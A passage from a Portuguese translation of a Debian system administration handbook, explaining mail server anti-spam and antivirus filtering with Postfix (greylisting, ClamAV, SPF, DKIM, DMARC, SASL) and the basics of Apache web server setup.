/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane) /^Subject: *Your email contains VIRUSES/ DISCARD virus notification

DE VOLTA AO BÁSICO Expressão regular

O termo expressão regular (abreviado como regexp ou regex) faz referência a uma notação genérica para expressar uma descrição do conteúdo e/ou da estrutura de um conjunto de caracteres. Alguns caracteres especiais permitem a definição de alternativas (por exemplo, foo|bar corresponde a "foo" ou "bar"), conjuntos de caracteres permitidos (por exemplo, [0-9] significa "qualquer dígito", e . - um ponto - significa "qualquer caractere"), quantidades (s? corresponde ou s ou uma cadeia vazia, em outras palavras 0 ou 1 ocorrência de s; s+ corresponde a um ou mais caracteres s consecutivos, e assim por diante). Parênteses permite o agrupamento dos resultados da pesquisa.

A sintaxe precisa dessas expressões varia entre as ferramentas que as usam, mas as características básicas são semelhantes.

→ https://en.wikipedia.org/wiki/Regular_expression

O primeiro verifica o cabeçalho mencionando o software de e-mail; a mensagem será rejeitada se GOTO Sarbacane (um software de e-mail em massa) for encontrado. A segunda expressão controla o assunto da mensagem; se menciona uma notificação de vírus, podemos decidir não rejeitar a mensagem, mas descartá-lo imediatamente.

Usando esses filtros é uma espada de dois gumes, porque é fácil de fazer as regras demasiadamente genéricas e como consequência perder e-mails legítimos. Nestes casos, não apenas as mensagens serão perdidas, mas seus remetentes receberão mensagens de erro indesejadas (e chatas).

11.1.4. Configurando "listas cinzas" (greylisting)

“lista cinza” é uma técnica de filtragem na qual uma mensagem é inicialmente rejeitada com um código de error temporário, e é aceita apenas depois de uma segunda tentativa após algum atraso. Esta filtragem é particularmente eficiente contra spam enviado de muitas máquinas infectadas por worms e vírus, já que estes softwares raramente agem como um agente SMTP completo (verificando o código de erro e tentando mandar a mensagem novamente mais tarde), especialmente se muitos dos endereços coletados são na verdade inválidos e tentar de novo seria apenas uma perda de tempo.

Postfix não fornece lista cinza nativamente, mas existe uma funcionalidade na qual a decisão de aceitar ou rejeitar uma dada mensagem pode ser delegada a um programa externo. O pacote postgrey contém tal programa, feito para ser uma interface com este serviço de delegação de políticas de acesso.

Uma vez o postgrey estando instalado, ele roda como um daemon e ouve na porta 10023. O Postfix pode então ser configurado para usá-lo. adicionando o parâmetro check_policy_service como uma restrição extra:

smtpd_recipient_restrictions = permit_mynetworks, [...] check_policy_service inet:127.0.0.1:10023

Cada vez que o Postfix alcança esta regra no conjunto de regras, ele irá se conectar ao daemon postgrey e enviar a ele informações a respeito da mensagem relevante. Do seu lado, o Postgrey considera a tripla endereço IP/remetente/destinatário e verifica em seu banco de dados se a mesma tripla foi vista recentemente. Se sim, o Postgrey responde que a mensagem foi aceita; se não, a resposta indica que a mensagem deve ser rejeitada temporariamente, e a tripla é registrada no banco de dados.

A principal desvantagem de listas cinza é que mensagens legítimas podem ser atrasadas, o que nem sempre é aceitável. também aumenta a carga em servidores que mandam muitos email legítimos.

NA PRÁTICA Desvantagens das listas cinzas

Teoricamente, a lista cinza deve apenas atrasar o primeiro email de um determinado remetente para um determinado destinatário e o atraso típico é da ordem de minutos. A realidade, contudo, pode diferir ligeiramente. Alguns grandes ISPs usam clusters de servidores SMTP e quando uma mensagem é rejeitada inicialmente, o servidor que repete a transmissão pode não ser o mesmo que o inicial. Quando isso acontece, o segundo servidor obtém uma mensagem de erro temporária devido à lista cinza também e assim por diante; Pode levar várias horas até que a transmissão seja tentada por um servidor que já esteve envolvido, uma vez que servidores SMTP geralmente aumentam o intervalo entre tentativas após cada falha.

Como consequência, o endereço IP de entrada pode variar no tempo, mesmo para um único remetente. Porém isso vai mais além: até mesmo o endereço do remetente pode mudar. Por exemplo, muitos servidores de lista de discussão (mailing-list) codificam informações extra no endereço do remetente a fim de serem capazes de lidar com mensagens de erro (conhecidas como bounces). Cada nova mensagem enviada para uma lista de discussão pode então precisar passar por uma lista cinza, O que significa que ela tem que ser armazenada (temporariamente) no servidor do remetente. Para listas de discussão muito grandes (com dezenas de milhares de assinantes), isso pode em breve tornar-se um problema.

Para atenuar esses inconvenientes, o Postgrey gerencia uma lista branca de tais sites, e mensagens que são emanadas a partir deles são imediatamente aceitas sem passar pela lista cinza. Essa lista pode ser facilmente adaptada às necessidades locais, desde que ela seja armazenada no arquivo /etc/postgrey/whitelist_clients.

INDO MAIS LONGE greylisting seletivas com milter-greylist

Os inconvenientes de uma lista cinza podem ser atenuados se a lista cinza só for usada em um subconjunto de clientes que já são considerados como prováveis fontes de spam (porque eles são listados em uma lista negra de DNS). Isso não é possível com o postgrey mas o milter-greylist pode ser utilizado para esse fim.

Neste cenário, como a lista negra do DNS nunca desencadeia uma rejeição definitiva, torna-se razoável usar listas negras agressivas, incluindo aquelas que listam todos os endereços IP dinâmicos de clientes ISP (tais como pbl.spamhaus.org ou dul.dnsbl.sorbs.net).

Como a milter-greylist usa a interface milter do Sendmail, a configuração do lado do postfix é limitada a "smtpd_milters = unix:/var/run/milter-greylist/milter-greylist.sock”. A página de manual de greylist.conf(5) documenta o /etc/milter-greylist/greylist.conf e as inúmeras maneiras de configurar a milter-greylist. Você também terá que editar /etc/default/milter-greylist para realmente habilitar o serviço.

11.1.5. Personalização de filtros baseados no destinatário

Seção 11.1.3, “Restrições para Recebimento e Envio” e Seção 11.1.4, “Configurando "listas cinzas" (greylisting)” revisaram muitas das restrições possíveis. Todas objetivam limitar a quantidade de spam recebido, mas todas têm suas desvantagens. É portanto, mais e mais comum personalizar o conjunto de filtros dependendo do destinatário. Na Falcot Corp, a lista cinza é interessante para a maioria dos usuários, mas isso dificulta o trabalho de alguns usuários que precisam de baixa latência em seus e-mails (como o serviço de suporte técnico). De maneira similar, o serviço comercial às vezes tem problemas para receber e-mails de alguns provedores asiáticos que podem constar em listas negras; este serviço pede um endereço não filtrado de modo a ser capaz de corresponder.

O Postfix fornece tal customização de filtros com o conceito de “classe de restrição”. As classes são declaradas no parâmetro smtpd_restriction_classes, e definidas da mesma maneira como smtpd_recipient_restrictions. A diretiva check_recipient_access então define uma tabela de mapeamento de um determinado destinatário para o conjunto apropriado de restrições.

Exemplo 11.9. Definição de classes de restrição em main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive greylisting = check_policy_service inet:127.0.0.1:10023 aggressive = reject_rbl_client sbl-xbl.spamhaus.org, check_policy_service inet:127.0.0.1:10023 permissive = permit smtpd_recipient_restrictions = permit_mynetworks, reject_unauth_destination, check_recipient_access hash:/etc/postfix/recipient_access

Exemplo 11.10. O arquivo /etc/postfix/recipient_access

# Unfiltered addresses postmaster@falcot.com permissive support@falcot.com permissive sales-asia@falcot.com permissive # Aggressive filtering for some privileged users joe@falcot.com aggressive # Special rule for the mailing-list manager sympa@falcot.com reject_unverified_sender # Greylisting by default falcot.com greylisting

11.1.6. Integrando um filtro antivírus

Os muitos vírus circulando como anexos de e-mails fazem importante a configuração de uma solução antivírus no ponto de entrada de rede da empresa, pois mesmo após uma campanha de conscientização alguns usuários ainda abrirão anexos de mensagens obviamente obscuras.

SEGURANÇA Discussão polêmica sobre software antivírus

O uso de escáneres de virus, ou software antivírus, é controverso. Normalmente há um intervalo entre a publicação de um malware e a incorporação de regras de detecção na base de dados do antivírus. Durante este intervalo, não há proteção baseada em software. Ademas, o uso normalmente precisa da execução de software adicional, por exemplo, para descomprir arquivamentos e escanear todo tipo de executáveis, o que aumenta drasticamente o potencial de exploração do próprio antivírus. Portanto, o uso de tais soluções de software nunca substitui campanhas de conscientização e regras simples de comportamento (nunca abrir anexos enviados de desconhecidos, etc.).

Os administradores Falcot selecionaram clamav a partir do pacote homônimo.

A tarefa de fazer a interface entre o antivírus e o servidor de email vai para o clamav-milter. Ummilter (abreviação de mail filter) é um programa de filtragem especialmente projetado para fazer a interface com os servidores de email. O milter usa uma interface de programação de aplicativo (API) padrão que fornece uma performace muito melhor que os filtros externos para servidores de email. Os milters foram inicialmente introduzidos pelo Sendmail, mas o Postfix o adotou em seguida.

OLHADA RÁPIDA Um milter para Spamassassin

O pacote spamass-milter provê um milter baseado no SpamAssassin, o famoso detector de email não solicitado. Ele pode ser usado para sinalizar mensagens como prováveis spams (adicionando um cabeçalho extra) e/ou rejeitar as mensagens por completo se sua pontuação de “spam” ultrapassar um determinado limiar.

Uma vez que o pacote clamav-milter esteja instalado, o milter deve ser reconfigurado para rodar em uma porta TCP ao invés do soquete nomeado padrão. Isso pode ser feito com dpkg-reconfigure clamav-milter. Quando questionado pela “Communication interface with Sendmail”, responda “inet:10002@127.0.0.1”.

NOTA Porta TCP real versus soquete nomeado

A razão porque nós usamos uma porta TCP real ao invés de um socket nomeado é que os daemons do postfix geralmente são executados em um ambiente "chrooted" e não têm acesso ao diretório que hospeda o socket nomeado. Você também poderia decidir continuar usando um socket nomeado e escolher um local dentro do ambiente "chroot" (/var/spool/postfix/).

A configuração padrão do ClamAV se encaixa na maioria das situações, mas alguns parâmetros importantes ainda podem ser customizados com dpkg-reconfigure clamav-base.

O último passo envolve informar ao Postfix para usar o filtro recém-configurado. Isso é uma simples questão de adicionar a seguinte diretiva ao /etc/postfix/main.cf:

# Virus check with clamav-milter smtpd_milters = inet:[127.0.0.1]:10002

Se o antivírus causar problemas, essa linha pode ser retirada de comentário e systemctl reload postfix deve ser executado para que essa alteração seja levada em conta.

NA PRÁTICA Testando o antivírus

Uma vez que o antivírus esteja configurado, seu comportamento correto deve ser testado. A maneira mais simples de fazer isso é enviar um e-mail de teste com um anexo contendo o arquivo eicar.com (ou eicar.com.zip), o qual pode ser baixado on-line em:

→ https://www2016.eicar.org/86-0-Intended-use.html

Esse arquivo não é um vírus verdadeiro, mas um arquivo teste que todos os softwares de antivírus no mercado diagnosticam como um vírus para permitir a checagem das instalações.

Todas as mensagens manipuladas pelo Postfix agora passam pelo filtro de antivírus.

11.1.7. Lutando contr o spam com SPF, DKIM y DMARC

O grande números de email não-solicitado enviado a cada dia levou à criação de vários padrões, que visam validar que a máquina que envou uma mensagem está autorizada e que o email não foi adulterado. Os seguintes sistemas estão baseados em DNS e precisam não apenas que os administradores tenham controle sobre o servidor de email, como também sobre o DNS para o domínio em questão.

ATENÇÃO Discussão polêmica

Como qualquer outra ferramenta, os seguintes padrões têm limites e efeitos reais ao serem usados. Podem (e devem) levar à rejeição ou até mesmo descarte de e-mails. Se isso ocorrer com alguns e-mails legítimos (às vezes enviados por um servidor SMTP mal configurado), normalmente causará nervosismo e incompreensão dos(as) usuários(as). Portanto, essas regras se aplicam normalmente como uma "falha suave" ou uma "rejeição suave", que normalmente significa que as verificações de falha somente levarão à adição de um marcador (de cabeçalho) nos e-mails afetados. Há pessoas que pensam que isto torna esses padrões "quebrados por design". Decida-se por si mesmo(a) e seja cuidadoso(a) sobre quão rigoroso(a) você é ao aplicar esses padrões.

11.1.7.1. Integrando a Sender Policy Framework (SPF)

A Sender Policy Framework (SPF) é utilizada para validar se um servidor de correio eletrônico tem permissão para enviar e-mails por um determinado domínio. É normalmente configurado através do DNS. A sintaxe para fazer uma entrada é explicada em detalhes em:

→ http://www.open-spf.org/SPF_Record_Syntax

→ https://tools.ietf.org/html/rfc7208

→ https://en.wikipedia.org/wiki/Sender_Policy_Framework

O seguinte é um exemplo de entrada DNS que declara que todos os registros de recursos de troca de mensagens (Mail Exchange Resource Records, MX-RRs) do domínio tem permissão para enviar e-mails para o domínio atual, e que todos os outros são proibidos. A entrada DNS não precisa receber um nome. Porém, para utilizar a diretiva include, ela deve ter um.

Name: example.org Type: TXT TTL: 3600 Data: v=spf1 a mx -all

Vamos dar uma rápida olhada na entrada falcot.org.

# host -t TXT falcot.org falcot.org descriptive text "v=spf1 ip4:199.127.61.96 +a +mx +ip4:206.221.184.234 +ip4:209.222.96.251 ~all"

Ele afirma que o IP do remetente deve corresponder ao registro A para o domínio de envio, ou deve ser listado com um dos registros de recursos de troca de mensagens para o domínio atual, ou deve ser um dos três endereços IPv4 mencionados. Todos os outros hosts devem ser marcados como não autorizados a enviar e-mail para o domínio remetente. Este último é chamado de "falha leve" e destina-se a marcar o e-mail de acordo, mas ainda assim aceitá-lo.

O servidor de email postfix pode checar o registro SPF dos emails de entrada usando o pacote postfix-policyd-spf-python, um agente de política escrito em Python. O arquivo /usr/share/doc/postfix-policyd-spf python/README.Debian descreve os passos necessários para integrar o agente ao postfix, então nós não iremos repetí-los aqui.

A configuração é feita no arquivo /etc/postfix-policyd-spf-python/policyd-spf.conf, que é documentado em policyd-spf.conf(5) e /usr/share/doc/postfix-policyd-spf-python/policyd-spf.conf.commented.gz. Os principais parâmetro de configuração são HELO_reject e Mail_From_reject, que configuram se os e-mail devem ser rejeitados (Fail) ou aceitos com um cabeçalho anexado (False), se as verificações falharem. O último geralmente é útil, quando a mensagem é processada posteriormente por um filtro de spam.

Se o resultado se destina a ser usado por opendmarc (Seção 11.1.7.3, “Integrando Autenticação de Mensagens Basada em Domínios, relatórios e Conformidade (DMARC, en inglés)”), então Header_Type deve ser definido por AR.

Observe que o spamassassin contém uma extensão para verificar o registro SPF.

11.1.7.2. Assinando e verificando DKIM (Integrating DomainKeys -- chaves de domínio integradas)

O padrão DKIM (Domain Keys Identified Mail) é um sistema de autenticação de emissário. O agente de transporte de email, no caso, o postfix, adiciona uma assinatura digital associada com o nome de domínio ao cabeçalho do emails de saída. O receptor pode validar os campos do corpo e cabeçalho da mensagem comparando a assinatura com uma chave pública, que é recuperada de registros de DNS de emissários.

→ http://dkim.org/

As ferramentas necessárias são enviadas com os pacotes opendkim e opendkim-tools.

ATENÇÃO Software de lista de discussão e DKIM

Os administradores de lista de discussão geralmente reescrevem alguns cabeçalhos de e-mail, resultando em assinaturas DKIM invalidas. Mesmo usando uma canonicalização relaxed nem sempre previne que isso aconteça. Assim, os administradores devem prestar muita atenção aos arquivos de log dos servidores de e-mail para identificar esses problemas. Caso contrário, tais e-mails podem ser sinalizados como spam e podem ser rejeitados.

Primeiro, a chave privada deve ser criada usando o comando opendkim-genkey -s SELECTOR -d DOMAIN. SELECTOR deve ser um nome exclusivo para a chave. Pode ser tão simples como um "e-mail" ou a data de criação, se você planeja alterar as chaves.

Exemplo 11.11. Crie uma chave privada para assinar e-mails de falcot.com

# opendkim-genkey -s mail -d falcot.com -D /etc/dkimkeys # chown opendkim.opendkim /etc/dkimkeys/mail.*

Isto criará os arquivos /etc/dkimkeys/mail.private e /etc/dkimkeys/mail.txt e atribuirá a propriedade apropriada. O primeiro arquivo contém a chave privada, e o último a chave pública que precisa ser adicionada ao DNS:

Name: mail._domainkey Type: TXT TTL: 3600 Data: "v=DKIM1; h=sha256; k=rsa; s=email; p=[...]"

O pacote opendkim no Debian tem um tamanho de chave predeterminado de 2048 bits. Infelizmente alguns servidores DNS só lidam com entradas de texto com tamanho máximo de 255 caracteres, que é ultrapassado pelo tamanho de chave predeterminado. Neste caso, use a opção -b 1024 para optar por um tamanho de chave menor. Se o opendkim-testkey tiver exito, a entrada se ajusta corretamente. Aqui se explica a sintaxe:

→ https://tools.ietf.org/html/rfc6376

→ https://en.wikipedia.org/wiki/DKIM

Para configurar o opendkim, devem ser escolhidos SOCKET e RUNDIR em /etc/default/opendkim. Observe que SOCKET deve ser acessível a partir do postfix em seu ambiente com chroot. Configurações adicionais são feitas em /etc/opendkim.conf. A seguir um extrato de configuração, que garante que Domain "falcot.com" todos os subdomínios (SubDomain) estão assinados pelo Selector "mail" a chave privada única (KeyFile) /etc/dkimkeys/mail.private. A Canonicalization "relaxada" tanto para o cabeçalho quanto para o corpo tolera uma modificação suave (por exemplo, por um software de uma lista de correio). O filtro é executado tanto no Modo de assinatura ("s" de signing) quanto no verificação ("v"). Caso uma assinatura falhe em validar (On-BadSignature), o correio deve ser posto em quarentena ("q").

[...] Domain falcot.com KeyFile /etc/dkimkeys/mail.private Selector mail [...] Canonicalization relaxed/relaxed Mode sv On-BadSignature q SubDomains yes [...] Socket inet:12345@localhost [...] UserID opendkim

Também é possível usar os seletores/chaves (KeyTable), domains (SigningTable) e para especificar hosts internos ou de confiança (InternalHosts, ExternalIgnoreList), que podem enviar e-mails através do servidor como um dos domínios de assinatura sem credenciais.

As seguintes diretivas em /etc/postfix/main.cf fazem o postfix usar o filtro:

milter_default_action = accept non_smtpd_milters = inet:localhost:12345 smtpd_milters = inet:localhost:12345

Para diferenciar entre assinatura e a verificação, às vezes é mais útil adicionar diretivas aos serviços em /etc/postfix/master.cf em vez disso.

Há mais informações disponíveis no diretório /usr/share/doc/opendkim/ e nas páginas de manual opendkim(8) e opendkim.conf(5).

Tenha em conta que spamassassin contém um plugin para comprovar o registro DKIM.

11.1.7.3. Integrando Autenticação de Mensagens Basada em Domínios, relatórios e Conformidade (DMARC, en inglés)

O padrão de Autenticação de Mensagens Baseada em Domínios, Relatórios e Conformidade (DMARC, em inglês) é usado para definir uma entrada DNS TXT com o nome _dmarc e a ação que deve ser tomada quando os e-mails que contêm seu domínio como o host de envio não são validados usando DKIM e SPF.

→ https://dmarc.org/overview/

Vamos dar uma olhada nas entradas de dois grandes provedores:

# host -t TXT _dmarc.gmail.com _dmarc.gmail.com descriptive text "v=DMARC1; p=none; sp=quarantine; rua=mailto:mailauth-reports@google.com" # host -t TXT _dmarc.yahoo.com _dmarc.yahoo.com descriptive text "v=DMARC1; p=reject; pct=100; rua=mailto:d@rua.agari.com; ruf=mailto:d@ruf.agari.com;"

Yahoo possui uma política rigorosa para rejeitar todos os e-mails que fingem ter sido enviados por uma conta Yahoo mas falham nas verificações DKIM e SPF. Google Mail (Gmail) propaga uma política muito relaxada, na qual tais mensagens do domínio principal ainda devem ser aceitas (p=none). Para subdomínios eles devem ser marcados como spam (sp=quarantine). Os endereços dados na chave rua podem ser utilizados para enviar relatórios agregados DMARC. A sintaxe completa é explicada aqui:

→ https://tools.ietf.org/html/rfc7489

→ https://en.wikipedia.org/wiki/DMARC

O servidor de email postfix pode usar também esta informação. O pacote opendmarc contém o filtro de email necessário. De forma similar a opendkim, SOCKET e RUNDIR devem ser escolhidos em /etc/default/opendmarc (para soquetes Unix você tem que garantir que eles estão dentro do chroot do postfix). O arquivo de configuração /etc/opendmarc.conf contém comentários detalhados, e também se explica em opendmarc.conf(5). Por padrão, os emails que falham na verificação DMARC não são rejeitados, mas etiquetados, adicionando um campo de cabeçalho apropriado. Para alterar isto, use RejectFailures true.

O filtro de correio se adiciona a smtpd_milters e non_smtpd_milters. Se cpnfiguramos os filtros de correio opendkim e opendmarc para funcionar nas portas 12345 y 54321, a entrada en /etc/postfix/main.cf tem este aspecto:

non_smtpd_milters = inet:localhost:12345,inet:localhost:54321 smtpd_milters = inet:localhost:12345,inet:localhost:54321

Diretivas para serem adicionadas no arquivo /etc/postfix/main.cf.

11.1.8. SMTP autenticado

Ser capaz de enviar emails requer um servidor SMTP ao alcance; e também requer que o referido servidor SMTP envie emails por ele. Para usuários móveis, pode ser preciso que eles alterem, regularmente, a configuração do cliente SMTP, já que o servidor SMTP da Falcot rejeita mensagens provenientes de endereços IP aparentemente não pertencentes à companhia. Existem duas soluções: ou o usuário instala um servidor SMTP em seu computador, ou ele usa o servidor da companhia com algum meio de autenticação como empregado. A primeira solução não é recomendada já que o computador não estará permanentemente conectado, e não será capaz de tentar enviar mensagens novamente em caso de problemas; nós iremos nos focar na última solução.

A autenticação SMTP no Postfix se apoia no SASL (Simple Authentication and Security Layer). Ela precisa dos pacotes libsasl2-modules e sasl2-bin instalados, e em seguida o registro de uma senha no banco de dados do SASL para cada usuário que precise autenticar no servidor SMTP. Isso é feito com o comando saslpasswd2, o qual recebe vários parâmetros. A opção -u define o domínio de autenticação, que deve corresponder com o parâmetro smtpd_sasl_local_domain na configuração do Postfix. A opção -c permite criar um usuário, e -f permite especificar o arquivo a ser usado se o banco de dados do SASL precisar ser armazenado em um local diferente do padrão (/etc/sasldb2).

# saslpasswd2 -u `postconf -h nomedomeuhost` -f /var/spool/postfix/etc/sasldb2 -c jean [... digite a senha de jean duas vezes ...]

Note que o banco de dados do SASL foi criado no diretório do Postfix. Para garantir consistência, nós também transformamos o /etc/sasldb2 em uma ligação simbólica apontando para o banco de dados usado pelo Postfix, com o comando ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.

Agora nós precisamos configurar o Postfix para usar o SASL. Primeiro, o usuário postfix precisa ser adicionado ao grupo sasl, para que ele possa acessar a conta no banco de dados do SASL. Alguns novos parâmetros também são necessários para habilitar o SASL, e o parâmetro smtpd_recipient_restrictions precisa ser configurado para permitir que cliente autenticado pelo SASL possam enviar emails livremente.

Exemplo 11.12. Ativando o SASL no /etc/postfix/main.cf

# Enable SASL authentication smtpd_sasl_auth_enable = yes # Define the SASL authentication domain to use smtpd_sasl_local_domain = $myhostname [...] # Adding permit_sasl_authenticated before reject_unauth_destination # allows relaying mail sent by SASL-authenticated users smtpd_recipient_restrictions = permit_sasl_authenticated, permit_mynetworks, reject_unauth_destination, [...]

Normalmente, é uma boa ideia não enviar senhas em uma conexão sem criptografia. Postfix permite usar diferentes configurações para cada porta (serviço) onde executa. Todas elas podem se configurar com diferentes regras e diretivas no arquivo /etc/postfix/master.cf. Para desativar a autenticação por completo para a porta 25 (serviço smtpd) adicione a seguinte diretriz:

smtp inet n - y - - smtpd [..] -o smtpd_sasl_auth_enable=no [..]

Se por alguma razão os clientes usam um comando AUTH desatualizado (alguns clientes de correio muito velhos o fazem), se pode habilitar la interoperabilidade com eles usando a diretiva broken_sasl_auth_clients.

EXTRA Cliente SMTP autenticado

A maioria dos clientes de e-mail são capazes de fazer autenticação em um servidor de SMTP antes de enviar mensagens de saída e usar esse recurso é uma simples questão de configurar os parâmetros apropriados. Se o cliente em uso não oferece esse recurso a solução alternativa é usar um servidor Postfix local e configurá-lo para fazer o relay do email através de um servidor SMTP remoto. Neste caso, o próprio Postfix local será o cliente que autentica com o SASL. Aqui estão os parâmetros necessários:

smtp_sasl_auth_enable = yes smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd relay_host = [mail.falcot.com]

O arquivo /etc/postfix/sasl_passwd precisa conter o nome de usuário e senha para autenticar no servidor mail.falcot.com. Aqui está um exemplo:

[mail.falcot.com] joe:LyinIsji

Como em todos os mapeamentos do Postfix, esse arquivo tem que ser transformado em /etc/postfix/sasl_passwd.db através do comando postmap.

11.2. Servidor web (HTTP)

Os(A) administradores(as) da Falcot Corp decidiram usar o servidor HTTP da Apache, incluído no Debian Bullseye na versão 2.4.52.

ALTERNATIVA Outros servidores web

Apache é provavelmente o mais conhecido servidor web, mas existem outros. Seu maior oponente é nginx, que vem em diferentes pacotes com diferentes conjuntos de funcionalidades, como nginx-light, nginx-full, or nginx-extras. Outra alternativa é lighttpd. Todos e todas podem oferecer muito boas ou até melhores performances em determinadas cargas de trabalho ("workloads") ou em certas situações, mas todos e todas não fornecem o mesmo número de funcionalidades disponíveis e módulos.

11.2.1. Instalação do Apache

Instalar o pacote apache2 é tudo o que é preciso. Ele contém todos os módulos, incluindo os Multi-Processing Modules (MPMs - Módulos de Multiprocessamentos) que afetam como o Apache lida com processamento paralelo de muitas requisições e que geralmente eram fornecidos em pacotes apache2-mpm-* separados. Ele também baixará apache2-utils que contém os utilitários de linha de comando que iremos descobrir mais tarde.

O MPM em uso afeta significantemente a forma com que o Apache irá lidar com as requisições simultâneas. Com o MPM worker, ele usa threads (processos leves), enquanto que com o MPM prefork ele usa um grupo de processos criados antecipadamente. Com o MPM event ele também usa threads, porém as conexões inativas (notavelmente aquelas mantidas abertas pelo recurso HTTP keep-alive) são devolvidas a uma thread de gerenciamento dedicado.

The Falcot administrators also install libapache2-mod-php so as to include the PHP 7.4 support in Apache. This causes the default event MPM to be disabled, and prefork to be used instead. To use the event MPM one can use php-fpm.

SEGURANÇA Execução sob o usuário www-data

By default, Apache handles incoming requests under the identity of the www-data user as defined in /etc/apache2/envvars. This means that a security vulnerability in a CGI script executed by Apache (for a dynamic page) won't compromise the whole system, but only the files owned by this particular user.

O uso dos módulos suexec, fornecidos pelos pacotes apache2-suexec-*, permite contornar essa regra para que alguns scripts CGI sejam executados sob a identidade de outro(a) usuário(a). Isso é configurado com a diretiva SuexecUserGroup usuário(a)grupo na configuração do Apache.

Outra possibilidade é usar um MPM dedicado, como o fornecido pelo libapache2-mpm-itk. Esse módulo em particular tem um comportamento um pouco diferente: ele permite o “isolamento” de hosts virtuais (na verdade, conjuntos de páginas) para que cada um deles seja executado como um usuário diferente. Portanto, uma vulnerabilidade em um site web não pode comprometer arquivos pertencentes ao dono de outro site web.

OLHADA RÁPIDA Lista de módulos

The full list of Apache standard modules can be found online.

→ https://httpd.apache.org/docs/2.4/mod/

O Apache é um servidor modular, e muitos recursos são implementados através de módulos externos que o programa principal carrega durante sua inicialização. A configuração padrão apenas habilita os módulos mais comuns, porém habilitar módulos novos é uma simples questão de rodar a2enmod módulo; para desabilitar um módulo, o comando é a2dismod módulo. Esses programas na verdade apenas criam (ou apagam) ligações simbólicas em /etc/apache2/mods-enabled/, que apontam para os arquivos reais (armazenados em /etc/apache2/mods-available/).

NA PRÁTICA Verificando a configuração

O módulo mod_info (a2enmod info) permite acessar a ampla configuração e informação do servidor Apache num navegador visitando http://localhost/server-info. Como pode conter informações confidenciais, o padrão ésó ser acessível da máquina local.

→ https://httpd.apache.org/docs/2.4/mod/mod_info.html

Com sua configuração padrão, o servidor web ouve na porta 80 (como configurado em /etc/apache2/ports.conf), e serve páginas a partir do diretório /var/www/html/ (como configurado em /etc/apache2/sites-enabled/000-default.conf).

11.2.2. Adicionando suporte a SSL

O Apache 2.4 inclui o módulo SSL (mod_ssl) necessário para HTTP seguro (HTTPS) "de fábrica". Ele apenas precisa ser habilitado com a2enmod ssl, e então as diretivas necessárias têm que ser adicionadas aos arquivos de configuração. Um exemplo de configuração é fornecido em /etc/apache2/sites-available/default-ssl.conf.

→ https://httpd.apache.org/docs/2.4/mod/mod_ssl.html

Se queres gerar certificados de confiança, vá para a seção Seção 10.2.1, “Criando certificados confiáveis grátis” e então ajuste as seguintes variáveis:

SSLCertificateFile /etc/letsencrypt/live/DOMAIN/fullchain.pem SSLCertificateKeyFile /etc/letsencrypt/live/DOMAIN/privkey.pem SSLCertificateChainFile /etc/letsencrypt/live/DOMAIN/chain.pem SSLCACertificateFile /etc/ssl/certs/ca-certificates.crt

Some extra care must be taken if you want to favor SSL connections with Perfect Forward Secrecy (those connections use ephemeral session keys ensuring that a compromise of the server's secret key does not result in the compromise of old encrypted traffic that could have been stored while sniffing on the network). Have a look at Mozilla's recommendations in particular:

→ https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

As an alternative to the standard SSL module, there is an extension module called mod_gnutls, which is shipped with the libapache2-mod-gnutls package and enabled with the a2enmod gnutls command. Unfortunately the version packaged for Debian had serious issues and even security implications and is therefor not part of the Debian Bullseye release.

→ https://mod.gnutls.org/

11.2.3. Configuração de servidores virtuais

Um servidor virtual é uma identidade adicional para o servidor web.

Apache considera dois tipos diferentes de hosts virtuais: aqueles que se baseiam no endereço IP (ou na porta) e aqueles que se baseiam no nome de domínio do servidor web. O primeiro método requer a alocação de um endereço IP diferente (ou porta) para cada site, enquanto o segundo pode funcionar em um único endereço IP (e porta), os sites são diferenciados pelo nome de máquina enviado pelo cliente HTTP (que só funciona na versão 1.1 do protocolo HTTP — Felizmente essa versão é antiga o bastante, e assim, é utilizada por todos os clientes).

A (crescente) escassez de endereços IPv4 geralmente favorece o segundo método; contudo, fica mais complexo se os hosts virtuais precisam fornecer HTTPS também, pois o protocolo SSL nem sempre é fornecido para hospedagem virtual baseada em nome; a extensão SNI (Server Name Indication) que permite uma combinação desse tipo não é suportada por todos os navegadores. Quando vários sites HTTPS precisam ser rodados no mesmo servidor, eles geralmente irão ser diferenciados ou por rodar em uma porta diferente ou um endereço IP diferente (IPv6 pode ajudar aqui).

A configuração padrão do Apache 2 habilita hosts virtuais baseados em nomes. Além disso, um host virtual padrão é definido no arquivo /etc/apache2/sites-enabled/000-default.conf; esse host virtual será usado se não for encontrado nenhum host que corresponda à solicitação enviada pelo cliente.

ATENÇÃO Primeiro servidor virtual

Requisições relativas a hosts virtuais desconhecidos sempre serão servidas pelo primeiro host virtual definido, é por isso que nós definimos www.falcot.com em primeiro lugar aqui.

OLHADA RÁPIDA Suporte Apache ao SNI

O servidor Apache suporta uma extensão do protocolo SSL chamada Server Name Indication (SNI). Esta extensão permite ao navegador enviar o nome do nome do host do servidor web durante o estabelecimento da conexão SSL, muito antes do que o HTTP o solicitaria, que foi usado anteriormente para identificar o host virtual solicitado entre aqueles hospedados no mesmo servidor (com o mesmo endereço IP e porta). Isso permite ao Apache selecionar o certificado SSL mais adequado para a transação a proceder.

Antes do SNI, o Apache sempre usava o certificado definido no host virtual padrão. Clientes que tentavam acessar outro host virtual iriam então exibir avisos (warnings), pois eles recebiam o certificado que não correspondia com o site que eles estavam tentando acessar. Felizmente, a maioria dos navegadores agora trabalham com SNI; Isso inclui o Microsoft Internet Explorer a partir da versão 7.0 (começando no Vista), Mozilla Firefox começando com a versão 2.0, o Safari da Apple desde a versão 3.2.1 e todas as versões do Google Chrome.

O pacote Apache fornecido pelo Debian é construído com suporte a SNI; portanto, nenhuma configuração em particular é necessária.

Cada host virtual extra é então descrito por um arquivo armazenado em /etc/apache2/sites-available/. Configurar um site web para o domínio falcot.org é portanto uma simples questão de criar o seguinte arquivo, e então, habilita o host virtual com a2ensite www.falcot.org.

Exemplo 11.13. o arquivo /etc/apache2/sites-available/www.falcot.org.conf

<VirtualHost *:80> ServerName www.falcot.org ServerAlias falcot.org DocumentRoot /srv/www/www.falcot.org </VirtualHost>

